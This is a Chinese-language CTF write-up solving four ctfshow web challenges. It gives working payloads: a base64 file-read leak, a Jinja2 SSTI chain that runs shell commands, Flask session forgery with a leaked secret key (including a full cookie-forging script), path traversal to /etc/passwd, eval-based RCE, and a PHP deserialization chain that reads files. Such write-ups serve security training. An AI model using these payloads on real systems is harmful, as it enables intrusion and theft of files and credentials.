鄙人不才,可惜这里只做出了4道相对简单的web题(悲)
哈哈哈,不愧是愚人杯,刚开始时脑子真没反应过来
flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi)
题目:
可以看到url里有一个img=xxx
xxx为十六编码
我们试一下用index.php转换为base64:aW5kZXgucGhw
包含aW5kZXgucGhw
得到:
PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezBmZTk1YjRhLTU2NjEtNDU0OS04NzMxLTA1OTk0NzYyYmJhYX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK
进行base64解码得到:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: [email protected]
# @link: https://ctfer.com
- /
$image=$_GET['img'];
$flag = "ctfshow{0fe95b4a-5661-4549-8731-05994762bbaa}";
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}
得到flag
题目:页面提示有个app.py包,我们下载来看一下
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/' )
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
是道SSTI注入,我们需要访问/hello.html
,拼接:/hello.html/{{payload}}
进行注入
先试一下{{1+1}},没问题,页面返回2,证明代码成功运行了
思路:
利用"".__class__.__bases__[0].__subclasses__()[83]
构造出我们想要的类
"".__class__
:当前变量的类
“”.__class__.___bases__[0]
:当前变量的类的基类(最基础的类,[0]表示object类)
"".__class__.__bases__[0].__subclasses__()[83]
当前变量的类的基类的子类(到这里已经包含了其他类,83表示数组中的索引,指向一个类,83是通过爆破出来的,一边爆破一边看包返回长度及内容)
然后__init__
表示将类初始化(有点像实例化,不确定)
__globals__
取function所处空间下可使用的module、方法以及所有变量
__globals__['__builtins__']
表示类里面的函数了(这里可以输出看一下有什么函数,如果没有我们要的可以更改__subclasses__[]
看一下有没有我们想要的)
__globals__['__builtins__']['eval']()
调用eval函数
传参("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")
这里已经是执行python代码了,我们动态导入os库,然后调用popen执行,用read()读取
这里出现了个问题,就是传入参数中屏蔽了斜杆“/
”,所以我们需要使用base64编码绕过
但又出来个问题,我以前用的是bash
,但这里发现不行,所以根据经验改为sh
最后得到payload:
http://af57955d-b019-4224-9356-8e996bc58900.challenge.ctf.show/hello/{{"".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")}}
成功!!!
知识点:
题目:
进来之后有两个窗口,一个登录窗口和一个注册窗口
在注册窗口尝试注册了admin,发现用户已存在
然后在这里在登录和注册试了sql注入,没成功
我们先随便注册一个账号,登录进去
发现有个leran
点击(我刚开始没点击,在登录和注册徘徊了1个多小时(悲))
得到部分源代码
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
........
对代码进行审计,看来我们需要进行flask session伪造
来自网上大佬的flask session伪造脚本:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='' ,
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='' ,
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
# {'loggedin': True, 'role': 'admin', 'username': 'admin'}
我们在浏览器把session复制下来
利用脚本进行session解密和伪造:
(解密后推理管理员伪造的规律)
D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFkbWluMiJ9.ZCeNjw.SI08C_xd1I55TbZzcedhgi_oqcU"
{'loggedin': True, 'role': 'user', 'username': 'admin2'}
D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCeVRA.p_DkccHDcwzHQA7CmXPqH-5OF3c
将伪造后的session导入
成功登入
发现一个txt文件,下载到一个假的flag
我们下一个…/…/…/…/…/…/…/etc/passwd试试
成功下载,我们下载网站源代码(因为上面给的源代码只是一部分):app.py
成功下载
app.py源码:
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')
@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)
return redirect(url_for('login'))
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
我们注意到一段(比较狗血的就是我之前在登录界面徘徊那段时间,用目录扫描扫出了这个玩意)
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
这里我们直接可以rce了
payload:
/hello/?eval=**import**('os').popen('ls').read()
/hello/?eval=**import**('os').popen('ls /').read()
/hello/?eval=**import**('os').popen('cat /flag_is_h3re').read()
得到flag
题目:
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
把代码拉到vscode比较容易看一些
先看一下题目的代码,反序列化的注入点在$_ip = $_SERVER["HTTP_AAAAAA"];
所以我们需要在http请求头注入一个参数:AAAAAA:xxx(xxx为反序列化的内容)
既然是非预期解,这里直接挑重点看了(毕竟只用到2个类)(此处省略了其他没用到的东西,方便理解):
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){ #__toString魔术函数,但一个对象被当作字符串使用时被调用
if(isset($this->name)){ #name有定义,但定义什么没有关系,因为后面没用到
$a = new $this->coos($this->file); #coos作为函数的名,file作函数的参数
echo $a; # 输出
}
}
}
class w_wuw_w{
public $aaa;
public function __destruct(){
echo $this->aaa;
}
}
我们知道在php中支持使用$a($b)
这样动态的形式调用函数/实例化,
可以看到我们这一行就是这样的形式:$a = new $this->coos($this->file);
所以我们的思路是通过给coos和file赋值,实现rce或者文件操作
file_get_contents,
file我传入了地址,为什么读取不到文件。答:因为这行代码是对象实例化,而file_get_contents
是一个函数,不是一个类,所以我们这里coos要传入一个内置类了
这里我们就需要看一下有什么内置类了
可遍历目录类有以下几个:
可读取文件类有:
我们需要用内置类来遍历目录,然后读取文件
POC:
class gBoBg{
public $name;
public $file;
public $coos;
// private $eeee="-_-";
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$w=new w_wuw_w();
$w->aaa=new gBoBg();
$w->aaa->name="1";
$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";
echo serialize($w);
分两步走,第一步读取文件目录
$w->aaa->file="glob:///*f*"; #使用glob协来查找匹配的文件路径模式 这里/*f*匹配了根目录下包含f的文件夹名
$w->aaa->coos="DirectoryIterator";
得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";N;}
第二步,使用SplFileObject
类读取文件内容:
$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";
得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;}